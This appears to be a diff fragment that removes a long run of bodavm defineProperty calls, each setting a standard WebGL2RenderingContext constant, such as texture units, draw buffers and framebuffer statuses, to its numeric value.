-bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:3074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3314},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3315},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3316},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3330},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3331},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3332},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", {configurable:false, enumerable:true, writable:false, value:6144},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", {configurable:false, enumerable:true, writable:false, value:6145},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", {configurable:false, enumerable:true, writable:false, value:6146},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", {configurable:false, enumerable:true, writable:false, value:6403},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", {configurable:false, enumerable:true, writable:false, value:32849},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", {configurable:false, enumerable:true, writable:false, value:32856},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", {configurable:false, enumerable:true, writable:false, value:32857},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", {configurable:false, enumerable:true, writable:false, value:32874},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", {configurable:false, enumerable:true, writable:false, value:32877},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", {configurable:false, enumerable:true, writable:false, value:32878},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", {configurable:false, enumerable:true, writable:false, value:32879},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", {configurable:false, enumerable:true, writable:false, value:32882},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:32883},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:33640},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", {configurable:false, enumerable:true, writable:false, value:33000},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", {configurable:false, enumerable:true, writable:false, value:33001},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", {configurable:false, enumerable:true, writable:false, value:33082},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", {configurable:false, enumerable:true, writable:false, value:33083},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", {configurable:false, enumerable:true, writable:false, value:33084},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", {configurable:false, enumerable:true, writable:false, value:33085},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", {configurable:false, enumerable:true, writable:false, value:32775},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", {configurable:false, enumerable:true, writable:false, value:32776},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", {configurable:false, enumerable:true, writable:false, value:33190},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", {configurable:false, enumerable:true, writable:false, value:34045},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", {configurable:false, enumerable:true, writable:false, value:34892},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", {configurable:false, enumerable:true, writable:false, value:34893},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", {configurable:false, enumerable:true, writable:false, value:34917},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", {configurable:false, enumerable:true, writable:false, value:34918},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", {configurable:false, enumerable:true, writable:false, value:34919},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", {configurable:false, enumerable:true, writable:false, value:35041},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", {configurable:false, enumerable:true, writable:false, value:35042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", {configurable:false, enumerable:true, writable:false, value:35045},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", {configurable:false, enumerable:true, writable:false, value:35046},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", {configurable:false, enumerable:true, writable:false, value:35049},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", {configurable:false, enumerable:true, writable:false, value:35050},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", {configurable:false, enumerable:true, writable:false, value:34852},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", {configurable:false, enumerable:true, writable:false, value:34853},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", {configurable:false, enumerable:true, writable:false, value:34854},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", {configurable:false, enumerable:true, writable:false, value:34855},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", {configurable:false, enumerable:true, writable:false, value:34856},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", {configurable:false, enumerable:true, writable:false, value:34857},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", {configurable:false, enumerable:true, writable:false, value:34858},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", {configurable:false, enumerable:true, writable:false, value:34859},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", {configurable:false, enumerable:true, writable:false, value:34860},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", {configurable:false, enumerable:true, writable:false, value:34861},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", {configurable:false, enumerable:true, writable:false, value:34862},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", {configurable:false, enumerable:true, writable:false, value:34863},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", {configurable:false, enumerable:true, writable:false, value:34864},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", {configurable:false, enumerable:true, writable:false, value:34865},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", {configurable:false, enumerable:true, writable:false, value:34866},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", {configurable:false, enumerable:true, writable:false, value:34867},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", {configurable:false, enumerable:true, writable:false, value:34868},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35657},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35658},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:35679},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", {configurable:false, enumerable:true, writable:false, value:35682},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", {configurable:false, enumerable:true, writable:false, value:35723},'prototype'); 